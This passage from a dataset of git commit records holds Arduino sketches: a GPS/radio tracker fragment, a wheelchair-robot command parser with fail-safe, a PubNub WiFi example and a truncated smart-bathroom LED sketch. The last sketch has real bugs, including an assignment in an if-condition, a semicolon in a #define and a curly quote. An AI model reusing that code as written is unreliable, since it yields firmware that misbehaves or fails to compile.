GPS ot Power Save Mode\n uint8_t setPSM[] = { 0xB5, 0x62, 0x06, 0x11, 0x02, 0x00, 0x08, 0x01, 0x22, 0x92 }; \/\/ Setup for Power Save Mode (Default Cyclic 1s)\n \n sendUBX(setPSM, sizeof(setPSM)\/sizeof(uint8_t));\n}\n \nvoid setupRadio(){\n pinMode(RFM22B_SDN, OUTPUT); \/\/ RFM22B SDN is on ARDUINO A3\n digitalWrite(RFM22B_SDN, LOW);\n delay(1000);\n rfm22::initSPI();\n radio1.init();\n radio1.write(0x71, 0x00); \/\/ unmodulated carrier\n \/\/This sets up the GPIOs to automatically switch the antenna depending on Tx or Rx state, only needs to be done at start up\n radio1.write(0x0b,0x12);\n radio1.write(0x0c,0x15);\n radio1.setFrequency(RADIO_FREQUENCY);\n radio1.write(0x6D, 0x04);\/\/ turn tx low power 11db\n radio1.write(0x07, 0x08);\n delay(500);\n}\n \nuint16_t gps_CRC16_checksum (char *string)\n{\n size_t i;\n uint16_t crc;\n uint8_t c;\n \n crc = 0xFFFF;\n \n \/\/ Calculate checksum ignoring the first four $s\n for (i = 4; i < strlen(string); i++)\n {\n c = string[i];\n crc = _crc_xmodem_update (crc, c);\n }\n \n return crc;\n} \nvoid initialise_interrupt()\n{\n \/\/ initialize Timer1\n cli(); \/\/ disable global interrupts\n TCCR1A = 0; \/\/ set entire TCCR1A register to 0\n TCCR1B = 0; \/\/ same for TCCR1B\n OCR1A = F_CPU \/ 1024 \/ RTTY_BAUD - 1; \/\/ set compare match register to desired timer count:\n TCCR1B |= (1 << WGM12); \/\/ turn on CTC mode:\n \/\/ Set CS10 and CS12 bits for:\n TCCR1B |= (1 << CS10);\n TCCR1B |= (1 << CS12);\n \/\/ enable timer compare interrupt:\n TIMSK1 |= (1 << OCIE1A);\n sei(); \/\/ enable global interrupts\n}\n\n\/\/ Send a byte array of UBX protocol to the GPS\nvoid sendUBX(uint8_t *MSG, uint8_t len) {\n for(int i=0; i<len; i++) {\n Serial.write(MSG[i]);\n \/\/mySerial.print(MSG[i], HEX);\n }\n Serial.println();\n}\n\n\/\/ Calculate expected UBX ACK packet and parse UBX response from GPS\nboolean getUBX_ACK(uint8_t *MSG) {\n uint8_t b;\n uint8_t ackByteID = 0;\n uint8_t ackPacket[10];\n unsigned long startTime = millis();\n \/\/mySerial.print(\" * Reading ACK response: \");\n \n \/\/ Construct the expected ACK packet \n ackPacket[0] = 0xB5;\t\/\/ header\n ackPacket[1] = 0x62;\t\/\/ header\n ackPacket[2] = 0x05;\t\/\/ class\n ackPacket[3] = 0x01;\t\/\/ id\n ackPacket[4] = 0x02;\t\/\/ length\n ackPacket[5] = 0x00;\n ackPacket[6] = MSG[2];\t\/\/ ACK class\n ackPacket[7] = MSG[3];\t\/\/ ACK id\n ackPacket[8] = 0;\t\t\/\/ CK_A\n ackPacket[9] = 0;\t\t\/\/ CK_B\n \n \/\/ Calculate the checksums\n for (uint8_t i=2; i<8; i++) {\n ackPacket[8] = ackPacket[8] + ackPacket[i];\n ackPacket[9] = ackPacket[9] + ackPacket[8];\n }\n \n while (1) {\n \n \/\/ Test for success\n if (ackByteID > 9) {\n \/\/ All packets in order!\n \/\/mySerial.println(\" (SUCCESS!)\");\n return true;\n }\n \n \/\/ Timeout if no valid response in 3 seconds\n if (millis() - startTime > 3000) { \n \/\/mySerial.println(\" (FAILED!)\");\n return false;\n }\n \n \/\/ Make sure data is available to read\n if (Serial.available()) {\n b = Serial.read();\n \n \/\/ Check that bytes arrive in sequence as per expected ACK packet\n if (b == ackPacket[ackByteID]) { \n ackByteID++;\n \/\/mySerial.print(b, HEX);\n } \n else {\n ackByteID = 0;\t\/\/ Reset and look again, invalid order\n }\n \n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'V1_0.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"4910be30dcc19b1bc5da16c56c7d81b75c4cd81e","subject":"Initial version of the Arduino program to control the robot.","message":"Initial version of the Arduino program to control the robot.\n\nHandles command parsing, serial input, and fail-safe.\nDoesn't actual control any hardware yet.\n","repos":"petergolde\/wheelchair-robot,petergolde\/wheelchair-robot,petergolde\/wheelchair-robot,petergolde\/wheelchair-robot","old_file":"Arduino\/Thingamabot\/Thingamabot.ino","new_file":"Arduino\/Thingamabot\/Thingamabot.ino","new_contents":"\/\/ Arduino code for Thingamashop wheelchair robot.\n\/\/\n\/\/ Accepts commands over serial or Bluetooth LE.\n\/\/ Commands are two lower case letters, space, an integer value,\n\/\/ then CR, LF.\n\/\/\n\/\/ A fail-safe mode will shut down the robot if no commands\n\/\/ are processed within a fail-safe interval. Once fail-safe mode\n\/\/ is entered, the \"ef\" command must be used to exit fail-safe mode.\n\/\/ \n\/\/ Command summary:\n\/\/ \n\/\/ ml <value>: Motor Left. Value from -100 to 100. 0 is off.\n\/\/ mr <value>: Motor Right. Value from -100 to 100. 0 is off.\n\/\/ bl <value>: Brake Left. 0 is off, other value is on.\n\/\/ br <value>: Break Right. 0 is off, other value is on.\n\/\/ sp <value>: Servo Pan. Value from -180 to 180.\n\/\/ st <value>: Servo Tilt. Value from -180 to 180.\n\/\/ ka: Keep alive. Prevent from entering fail-safe mode. \n\/\/ fs <value>: Set fail-safe interval in milliseconds. Use 0 to disable fail-safe mode.\n\/\/ ef: Exit fail safe. Once fail-safe mode is entered, you must\n\/\/ use this command to exit.\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ UTILITY routines.\n\nboolean logging = true; \/\/ Set to true to enable logging to serial port.\n\n\/\/ Log a message.\nvoid log(const __FlashStringHelper * message)\n{\n if (logging) {\n Serial.print(F(\"* \"));\n Serial.println(message);\n }\n}\n\n\/\/ Log a message and an integer value.\nvoid log(const __FlashStringHelper * message, long value)\n{\n if (logging) {\n Serial.print(F(\"* \"));\n Serial.print(message);\n Serial.print(F(\" \"));\n Serial.println(value);\n }\n}\n\n\/\/ Log two strings on same line.\nvoid log(const __FlashStringHelper * message, const char * value)\n{\n if (logging) {\n Serial.print(F(\"* \"));\n Serial.print(message);\n Serial.print(F(\" \"));\n Serial.println(value);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ MOTORS\n\n\/\/ Values designating the motors.\nconst int LEFT_MOTOR = 0;\nconst int RIGHT_MOTOR = 1;\n\n\/\/ Configure motor hardware.\nvoid setup_motors()\n{\n \/\/ TODO: Configure motor hardware.\n}\n\n\/\/ Set a motor to a particular speed, or off.\n\/\/ \"motor\" is which motor to set.\n\/\/ \"speed\" is a value from -100 to 100. 0 is off, \n\/\/ 100 is full forward, -100 is full reverse\nvoid set_motor(int motor, int speed)\n{\n \/\/ TODO: Set motor hardware.\n \/\/ CONSIDER: Should setting a motor to non-zero automatically turn the brakes\n \/\/ off?\n \n if (motor == LEFT_MOTOR) \n log(F(\"Set left motor to:\"), speed);\n else if (motor == RIGHT_MOTOR)\n log(F(\"Set right motor to:\"), speed);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ BRAKES\n\n\/\/ Values designating the brakes.\nconst int LEFT_BRAKE = 0;\nconst int RIGHT_BRAKE = 1;\n\n\/\/ Configure break hardware.\nvoid setup_brakes()\n{\n \/\/ TODO: Configure brake hardware.\n}\n\n\/\/ Set a brake to on or off\nvoid set_brake(int brake, boolean on)\n{\n \/\/ TODO: Set brake hardware.\n \n const char * valueString = on ? \"ON\" : \"OFF\";\n if (brake == LEFT_BRAKE) \n log(F(\"Set left brake to:\"), valueString);\n else if (brake == RIGHT_BRAKE)\n log(F(\"Set right brake to:\"), valueString);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SERVOS\n\n\/\/ Values designating the servos.\nconst int PAN_SERVO = 0;\nconst int TILT_SERVO = 1;\n\n\/\/ Configure servo hardware.\nvoid setup_servos()\n{\n \/\/ TODO: Configure servo hardware.\n}\n\n\/\/ Set a servo to a particular setting.\n\/\/ \"servo\" is which servo to set.\n\/\/ \"angle\" is a value from -180 to 180, in degrees\nvoid set_servo(int servo, int angle)\n{\n \/\/ TODO: Set servo hardware.\n \n if (servo == PAN_SERVO) {\n log(F(\"Set pan servo to:\"), angle);\n }\n else if (servo == TILT_SERVO) {\n log(F(\"Set tilt servo to:\"), angle);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ FAILSAFE routines.\n\/\/ \n\/\/ The fail-safe timer puts the robot into fail-safe\n\/\/ mode if a command isn't received within a short amount\n\/\/ of time.\n\nboolean failsafe_enabled = true; \/\/ is fail-safe enabled?\nboolean failsafe_on = false; \/\/ is fail-safe currently on?\nlong failsafe_interval = 2000; \/\/ ms before entering fail-safe mode.\nlong failsafe_last_input; \/\/ last time a command was received.\n\n\/\/ Enter the fail-safe mode. All hardward (motors, brakes, etc.) should return\n\/\/ to the fail-safe position.\nvoid enter_failsafe()\n{\n \/\/ Set motors to off and engage brakes.\n failsafe_on = true;\n set_motor(LEFT_MOTOR, 0);\n set_motor(RIGHT_MOTOR, 0);\n set_brake(LEFT_BRAKE, true);\n set_brake(RIGHT_BRAKE, true);\n \n log(F(\"Entered fail-safe mode.\"));\n}\n\nvoid exit_failsafe()\n{\n if (failsafe_on) {\n \/\/ If necessary, do anything to the hardware needed to exit failsafe mode.\n\n reset_failsafe();\n failsafe_on = false;\n log(F(\"Exiting fail-safe mode.\"));\n }\n}\n\n\/\/ Set the fail-safe interval to the given number of milliseconds. If \n\/\/ <= 0, turn fail-safe monitoring off.\nvoid set_failsafe(int intervalMillis)\n{\n if (intervalMillis > 0) {\n failsafe_enabled = true;\n failsafe_interval = intervalMillis;\n log(F(\"Failsafe interval set to:\"), intervalMillis);\n }\n else {\n failsafe_enabled = false;\n log(F(\"Failsafe disabled.\"));\n }\n}\n\n\/\/ Reset the fail-safe timer \nvoid reset_failsafe()\n{\n failsafe_last_input = millis();\n}\n\n\/\/ Check to see if we should enter fail-safe mode.\nvoid check_failsafe()\n{\n if (failsafe_enabled && !failsafe_on && (long) millis() - failsafe_last_input >= failsafe_interval) {\n enter_failsafe();\n }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ COMMAND PARSING AND DISPATCH\n\n\/\/ Dispatch a command.\n\/\/ Commands are a two-letter lowercase designator, followed by a \n\/\/ space, then an integer value (-32767 to 32768).\nvoid dispatch_command(char * commandString)\n{\n log(F(\"Command received: \"), commandString);\n \n int len = strlen(commandString);\n if (len < 2) { \n log(F(\"Command string is too short -- ignoring\"));\n return;\n }\n \n \/\/ Parse the command string.\n \n char c1 = commandString[0];\n char c2 = commandString[1];\n\n if (len > 2 && commandString[2] != ' ') {\n log(F(\"Command string wrong format -- ignoring\"));\n return;\n }\n \n int value = 0;\n \n if (len >= 4) {\n value = atoi(commandString + 3);\n }\n\n \/\/ First -- commands that are allowed in fail-safe mode. \n if (c1 == 'e' && c2 == 'f') {\n \/\/ \"ef\" - exit failsafe.\n exit_failsafe();\n return;\n }\n else if (c1 == 'f' && c2 == 's') {\n \/\/ \"fs\" - set failsafe interval\n set_failsafe((long) value);\n return;\n }\n \n \/\/ Don't allow other commands until exiting failsafe mode.\n \n if (failsafe_on) {\n \/\/ The fail-safe is ON. No commands until we explicitly exit fail-safe mode.\n log(F(\"Failsafe is ON. Command ignored. Use \\\"ef\\\" command to exit fail-safe mode.\"));\n return;\n }\n\n \/\/ Regular commands. \n if (c1 == 'm') {\n \/\/ \"ml\" - Motor Left; \"mr\" - Motor right\n \n \/\/ Clamp value to -100 to 100.\n if (value > 100)\n value = 100;\n else if (value < -100)\n value = -100;\n \n if (c2 == 'l')\n set_motor(LEFT_MOTOR, value);\n else if (c2 == 'r')\n set_motor(RIGHT_MOTOR, value);\n else\n log(F(\"Invalid motor designator\"));\n }\n else if (c1 == 's') {\n \/\/ \"sp\" - pan servo, \"st\" - tilt servo\n \n \/\/ Clamp value to -180 to 180.\n if (value > 180)\n value = 180;\n else if (value < -180)\n value = -180;\n \n if (c2 == 'p')\n set_servo(PAN_SERVO, value);\n else if (c2 == 't')\n set_servo(TILT_SERVO, value);\n else\n log(F(\"Invalid servo designator\")); \n }\n else if (c1 == 'b') {\n \/\/ \"bl\" - Brake Left; \"br\" - Brake Right\n \n if (c2 == 'l')\n set_brake(LEFT_BRAKE, value != 0);\n else if (c2 == 'r')\n set_brake(RIGHT_BRAKE, value != 0);\n else\n log(F(\"Invalid brake designator\"));\n }\n else if (c1 == 'k' && c2 == 'a') {\n \/\/ \"ka\" - keep alive for failsafe. Does nothing.\n }\n else {\n log(F(\"Ignoring unknown command\"));\n return;\n }\n \n \/\/ Reset the fail-safe timer.\n reset_failsafe();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ BLUETOOTH\n\n\/\/ Set up Bluetooth LE hardward.\nvoid setup_bluetooth()\n{\n \/\/ TODO: Setup Bluetooth hardware.\n}\n\n\/\/ Check bluetooth for a command. If a command is \n\/\/ found, call dispatch_command.\nvoid read_bluetooth()\n{\n \/\/ TODO: read characters from Bluetooth.\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SERIAL\n\nconst long baudRate = 57600;\n\nconst int SERIAL_BUFFER_SIZE = 80;\nchar serial_buffer[SERIAL_BUFFER_SIZE];\nchar * serial_next; \/\/ Next free character in the buffer.\n\nvoid clear_serial_buffer()\n{\n serial_next = serial_buffer;\n}\n\n\/\/ Set up Serial hardware.\nvoid setup_serial()\n{\n Serial.begin(baudRate);\n clear_serial_buffer();\n}\n\n\/\/ Check serial for a command. If a command is \n\/\/ found, call dispatch_command.\nvoid read_serial()\n{\n while (Serial.available() > 0) {\n int b = Serial.read();\n\n if (b == -1 || b == 0 || b == '\\r') {\n \/\/ Ignore nulls, CR.\n }\n else if (b == '\\n') {\n \/\/ LF means end of command. Dispatch the command.\n *serial_next++ ='\\0'; \/\/ NUL terminate command.\n dispatch_command(serial_buffer);\n clear_serial_buffer();\n }\n else if (serial_next < serial_buffer + SERIAL_BUFFER_SIZE - 1) {\n \/\/ Store character into buffer.\n *serial_next++ = (char) b;\n }\n }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SETUP and MAIN LOOP\n\n\/\/ Set up all the devices and the fail-safe timer.\nvoid setup()\n{\n setup_motors();\n setup_brakes();\n setup_servos();\n setup_serial();\n setup_bluetooth();\n reset_failsafe();\n\n log(F(\"Hardware initialized.\"));\n \n \/\/ Enter fail-safe mode to begin with.\n enter_failsafe();\n}\n\n\/\/ This is the main loop. It should always complete\n\/\/ rapidly so it can continue to monitor inputs (e.g., serial port,\n\/\/ bluetooth, etc.)\nvoid loop()\n{\n \/\/ Check for inputs. These functions will call dispatch_command\n \/\/ if an input command is read.\n read_serial();\n read_bluetooth();\n \n \/\/ Check if we need to enter fail-safe mode.\n check_failsafe();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Thingamabot\/Thingamabot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"928c5972b2c5c9627197c3b358693152d652736e","subject":"PubNubJsonWifi: PubNub sample JSON-parsing client with WiFi support","message":"PubNubJsonWifi: PubNub sample JSON-parsing client with WiFi support\n","repos":"pubnub\/sparkCore","old_file":"examples\/PubNubJsonWifi\/PubNubJsonWifi.ino","new_file":"examples\/PubNubJsonWifi\/PubNubJsonWifi.ino","new_contents":"\/*\n PubNub sample JSON-parsing client with WiFi support\n\n This combines two sketches: the PubNubJson example of PubNub library\n and the WifiWebClientRepeating example of the WiFi library.\n\n This sample client will properly parse JSON-encoded PubNub subscription\n replies using the aJson library. It will send a simple message, then\n properly parsing and inspecting a subscription message received back.\n\n This is achieved by integration with the aJson library. You will need\n a version featuring Wiring Stream integration, that can be found\n at http:\/\/github.com\/pasky\/aJson as of 2013-05-30.\n\n Circuit:\n * Wifi shield attached to pins 10, 11, 12, 13\n * (Optional) Analog sensors attached to analog pin.\n * (Optional) LEDs to be dimmed attached to PWM pins 8 and 9.\n\n\n Please refer to the PubNubJson example description for some important\n notes, especially regarding memory saving on Arduino Uno\/Duemilanove.\n You can also save some RAM by not using WiFi password protection.\n\n\n created 30 May 2013\n by Petr Baudis\n\n https:\/\/github.com\/pubnub\/pubnub-api\/tree\/master\/arduino\n This code is in the public domain.\n *\/\n\n#include <SPI.h>\n#include <WiFi.h>\n#include <PubNub.h>\n#include <aJSON.h>\n\nstatic char ssid[] = \"yourNetwork\"; \/\/ your network SSID (name)\nstatic char pass[] = \"secretPassword\"; \/\/ your network password\nstatic int keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\nconst static char pubkey[] = \"demo\";\nconst static char subkey[] = \"demo\";\nconst static char channel[] = \"hello_world\";\n\nvoid setup()\n{\n\tSerial.begin(9600);\n\tSerial.println(\"Serial set up\");\n\n\tif (WiFi.status() == WL_NO_SHIELD) {\n\t Serial.println(\"WiFi shield not present\");\n\t while(true); \/\/ stop\n\t}\n\n\tint status;\n\t\/\/ attempt to connect to Wifi network:\n\tdo {\n\t\tSerial.print(\"WiFi connecting to SSID: \");\n\t\tSerial.println(ssid);\n\n\t\t\/\/ Connect to the network. Uncomment whichever line is right for you:\n\t\t\/\/status = WiFi.begin(ssid); \/\/ open network\n\t\t\/\/status = WiFi.begin(ssid, keyIndex, key); \/\/ WEP network\n\t\tstatus = WiFi.begin(ssid, pass); \/\/ WPA \/ WPA2 Personal network\n\t} while (status != WL_CONNECTED);\n\tSerial.println(\"WiFi set up\");\n\n\tPubNub.begin(pubkey, subkey);\n\tSerial.println(\"PubNub set up\");\n}\n\naJsonObject *createMessage()\n{\n\taJsonObject *msg = aJson.createObject();\n\n\taJsonObject *sender = aJson.createObject();\n\taJson.addStringToObject(sender, \"name\", \"Arduino\");\n\taJson.addItemToObject(msg, \"sender\", sender);\n\n\tint analogValues[6];\n\tfor (int i = 0; i < 6; i++) {\n\t\tanalogValues[i] = analogRead(i);\n\t}\n\taJsonObject *analog = aJson.createIntArray(analogValues, 6);\n\taJson.addItemToObject(msg, \"analog\", analog);\n\treturn msg;\n}\n\n\/* Process message like: { \"pwm\": { \"8\": 0, \"9\": 128 } } *\/\nvoid processPwmInfo(aJsonObject *item)\n{\n\taJsonObject *pwm = aJson.getObjectItem(item, \"pwm\");\n\tif (!pwm) {\n\t\tSerial.println(\"no pwm data\");\n\t\treturn;\n\t}\n\n\tconst static int pins[] = { 8, 9 };\n\tconst static int pins_n = 2;\n\tfor (int i = 0; i < pins_n; i++) {\n\t\tchar pinstr[3];\n\t\tsnprintf(pinstr, sizeof(pinstr), \"%d\", pins[i]);\n\n\t\taJsonObject *pwmval = aJson.getObjectItem(pwm, pinstr);\n\t\tif (!pwmval) continue; \/* Value not provided, ok. *\/\n\t\tif (pwmval->type != aJson_Int) {\n\t\t\tSerial.print(\"invalid data type \");\n\t\t\tSerial.print(pwmval->type, DEC);\n\t\t\tSerial.print(\" for pin \");\n\t\t\tSerial.println(pins[i], DEC);\n\t\t\tcontinue;\n\t\t}\n\n\t\tSerial.print(\"setting pin \");\n\t\tSerial.print(pins[i], DEC);\n\t\tSerial.print(\" to value \");\n\t\tSerial.println(pwmval->valueint, DEC);\n\t\tanalogWrite(pins[i], pwmval->valueint);\n\t}\n}\n\nvoid dumpMessage(Stream &s, aJsonObject *msg)\n{\n\tint msg_count = aJson.getArraySize(msg);\n\tfor (int i = 0; i < msg_count; i++) {\n\t\taJsonObject *item, *sender, *analog, *value;\n\t\ts.print(\"Msg #\");\n\t\ts.print(i, DEC);\n\n\t\titem = aJson.getArrayItem(msg, i);\n\t\tif (!item) { s.println(\"item not acquired\"); delay(1000); return; }\n\n\t\tprocessPwmInfo(item);\n\n\t\t\/* Below, we parse and dump messages from fellow Arduinos. *\/\n\n\t\tsender = aJson.getObjectItem(item, \"sender\");\n\t\tif (!sender) { s.println(\"sender not acquired\"); delay(1000); return; }\n\n\t\ts.print(\" mac_last_byte: \");\n\t\tvalue = aJson.getObjectItem(sender, \"mac_last_byte\");\n\t\tif (!value) { s.println(\"mac_last_byte not acquired\"); delay(1000); return; }\n\t\ts.print(value->valueint, DEC);\n\n\t\ts.print(\" A2: \");\n\t\tanalog = aJson.getObjectItem(item, \"analog\");\n\t\tif (!analog) { s.println(\"analog not acquired\"); delay(1000); return; }\n\t\tvalue = aJson.getArrayItem(analog, 2);\n\t\tif (!value) { s.println(\"analog[2] not acquired\"); delay(1000); return; }\n\t\ts.print(value->valueint, DEC);\n\n\t\ts.println();\n\t}\n}\n\nvoid loop()\n{\n\t\/\/ Intriguingly, the WiFi library doesn't seem to have a call\n\t\/\/ equivalent to Ethernet.maintain();\n\t\/\/WiFi.maintain();\n\n\tWiFiClient *client;\n\n\t\/* Publish *\/\n\n\tSerial.print(\"publishing a message: \");\n\taJsonObject *msg = createMessage();\n\tchar *msgStr = aJson.print(msg);\n\taJson.deleteItem(msg);\n\n\t\/\/ msgStr is returned in a buffer that can be potentially\n\t\/\/ needlessly large; this call will \"tighten\" it\n\tmsgStr = (char *) realloc(msgStr, strlen(msgStr) + 1);\n\n\tSerial.println(msgStr);\n\tclient = PubNub.publish(channel, msgStr);\n\tfree(msgStr);\n\tif (!client) {\n\t\tSerial.println(\"publishing error\");\n\t\tdelay(1000);\n\t\treturn;\n\t}\n\tclient->stop();\n\n\t\/* Subscribe and load reply *\/\n\n\tSerial.println(\"waiting for a message (subscribe)\");\n\tclient = PubNub.subscribe(channel);\n\tif (!client) {\n\t\tSerial.println(\"subscription error\");\n\t\tdelay(1000);\n\t\treturn;\n\t}\n\n\t\/* Parse *\/\n\n\taJsonClientStream stream(client);\n\tmsg = aJson.parse(&stream);\n\tclient->stop();\n\tif (!msg) { Serial.println(\"parse error\"); delay(1000); return; }\n\tdumpMessage(Serial, msg);\n\taJson.deleteItem(msg);\n\n\tdelay(10000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/PubNubJsonWifi\/PubNubJsonWifi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ae0ed079d2c84b834b1c38c83d600ea81b7844a5","subject":"Added Arduino sources","message":"Added Arduino sources","repos":"phazebroek\/voetbaltafel,phazebroek\/voetbaltafel","old_file":"Voetbaltafel.ino","new_file":"Voetbaltafel.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/phazebroek\/voetbaltafel.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f42ec325ac63504292f66bc55f13a99cf89886a0","subject":"Create web-stepper-load-cell.ino","message":"Create web-stepper-load-cell.ino","repos":"jashtonSF\/spice-machine","old_file":"firmware\/ web-stepper-load-cell.ino","new_file":"firmware\/ web-stepper-load-cell.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'web-stepper-load-cell.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"56ea650e6784e44d1e747ca70a068ad8b73c9723","subject":"removed a bug where the first column was not check properly","message":"removed a bug where the first column was not check properly\n","repos":"TEAMarg\/ID-28-Blob-Attack,TEAMarg\/ID-28-Blob-Attack","old_file":"BLBA_AB\/BLBA_AB.ino","new_file":"BLBA_AB\/BLBA_AB.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-28-Blob-Attack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"aee0ec6c9a4c0b524d5261d4fc2bb242ae7568ed","subject":"Adds the Arduino sketch to its skin","message":"Adds the Arduino sketch to its skin\n","repos":"ccheney\/smart-bathroom","old_file":"smart_bathroom.ino","new_file":"smart_bathroom.ino","new_contents":"#include \"neopixel\/neopixel.h\"\n\n#define PIXEL_PIN D2\n#define PIXEL_COUNT 64\n#define PIXEL_TYPE WS2812B\n#define sensorPin D1;\nint sensorData = 0;\nint doorStatus = 0;\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, PIXEL_PIN, PIXEL_TYPE);\n\nvoid setup() {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n Spark.variable(\u201cdoorStatus\", &doorStatus, INT);\n}\n\nvoid loop() {\n\n sensorData = digitalRead(sensorPin);\n if (sensorData = 1)\n {\n doorStatus = 1;\n doorClosed();\n }\n else\n {\n doorStatus = 0;\n doorOpen();\n }\n}\n\nvoid doorOpen() {\n strip.setPixelColor(0, 0, 0, 0);\n strip.setPixelColor(1, 0, 0, 0);\n strip.setPixelColor(2, 0, 0, 0);\n strip.setPixelColor(3, 0, 0, 0);\n strip.setPixelColor(4, 0, 0, 0);\n strip.setPixelColor(5, 0, 0, 0);\n strip.setPixelColor(6, 0, 0, 0);\n strip.setPixelColor(7, 0, 0, 0);\n strip.setPixelColor(8, 0, 0, 0);\n strip.setPixelColor(9, 0, 0, 0);\n strip.setPixelColor(10, 0, 0, 0);\n strip.setPixelColor(11, 0, 0, 0);\n strip.setPixelColor(12, 0, 0, 0);\n strip.setPixelColor(13, 0, 0, 0);\n strip.setPixelColor(14, 0, 0, 0);\n strip.setPixelColor(15, 0, 0, 0);\n strip.setPixelColor(16, 0, 0, 0);\n strip.setPixelColor(17, 0, 0, 0);\n strip.setPixelColor(18, 0, 0, 0);\n strip.setPixelColor(19, 0, 0, 0);\n strip.setPixelColor(20, 0, 0, 0);\n strip.setPixelColor(21, 0, 0, 0);\n strip.setPixelColor(22, 27, 167, 46);\n strip.setPixelColor(23, 0, 0, 0);\n strip.setPixelColor(24, 0, 0, 0);\n strip.setPixelColor(25, 0, 0, 0);\n strip.setPixelColor(26, 0, 0, 0);\n strip.setPixelColor(27, 0, 0, 0);\n strip.setPixelColor(28, 0, 0, 0);\n strip.setPixelColor(29, 27, 167, 46);\n strip.setPixelColor(30, 0, 0, 0);\n strip.setPixelColor(31, 0, 0, 0);\n strip.setPixelColor(32, 0, 0, 0);\n strip.setPixelColor(33, 0, 0, 0);\n strip.setPixelColor(34, 0, 0, 0);\n strip.setPixelColor(35, 0, 0, 0);\n strip.setPixelColor(36, 27, 167, 46);\n strip.setPixelColor(37, 0, 0, 0);\n strip.setPixelColor(38, 0, 0, 0);\n strip.setPixelColor(39, 0, 0, 0);\n strip.setPixelColor(40, 0, 0, 0);\n strip.setPixelColor(41, 27, 167, 46);\n strip.setPixelColor(42, 0, 0, 0);\n strip.setPixelColor(43, 27, 167, 46);\n strip.setPixelColor(44, 0, 0, 0);\n strip.setPixelColor(45, 0, 0, 0);\n strip.setPixelColor(46, 0, 0, 0);\n strip.setPixelColor(47, 0, 0, 0);\n strip.setPixelColor(48, 0, 0, 0);\n strip.setPixelColor(49, 0, 0, 0);\n strip.setPixelColor(50, 27, 167, 46);\n strip.setPixelColor(51, 0, 0, 0);\n strip.setPixelColor(52, 0, 0, 0);\n strip.setPixelColor(53, 0, 0, 0);\n strip.setPixelColor(54, 0, 0, 0);\n strip.setPixelColor(55, 0, 0, 0);\n strip.setPixelColor(56, 0, 0, 0);\n strip.setPixelColor(57, 0, 0, 0);\n strip.setPixelColor(58, 0, 0, 0);\n strip.setPixelColor(59, 0, 0, 0);\n strip.setPixelColor(60, 0, 0, 0);\n strip.setPixelColor(61, 0, 0, 0);\n strip.setPixelColor(62, 0, 0, 0);\n strip.setPixelColor(63, 0, 0, 0);\n strip.setBrightness(30);\n strip.show();\n}\n\nvoid doorClosed() {\n strip.setPixelColor(0, 0, 0, 0);\n strip.setPixelColor(1, 0, 0, 0);\n strip.setPixelColor(2, 0, 0, 0);\n strip.setPixelColor(3, 0, 0, 0);\n strip.setPixelColor(4, 0, 0, 0);\n strip.setPixelColor(5, 0, 0, 0);\n strip.setPixelColor(6, 0, 0, 0);\n strip.setPixelColor(7, 0, 0, 0);\n strip.setPixelColor(8, 0, 0, 0);\n strip.setPixelColor(9, 185, 30, 0);\n strip.setPixelColor(10, 0, 0, 0);\n strip.setPixelColor(11, 0, 0, 0);\n strip.setPixelColor(12, 0, 0, 0);\n strip.setPixelColor(13, 0, 0, 0);\n strip.setPixelColor(14, 185, 30, 0);\n 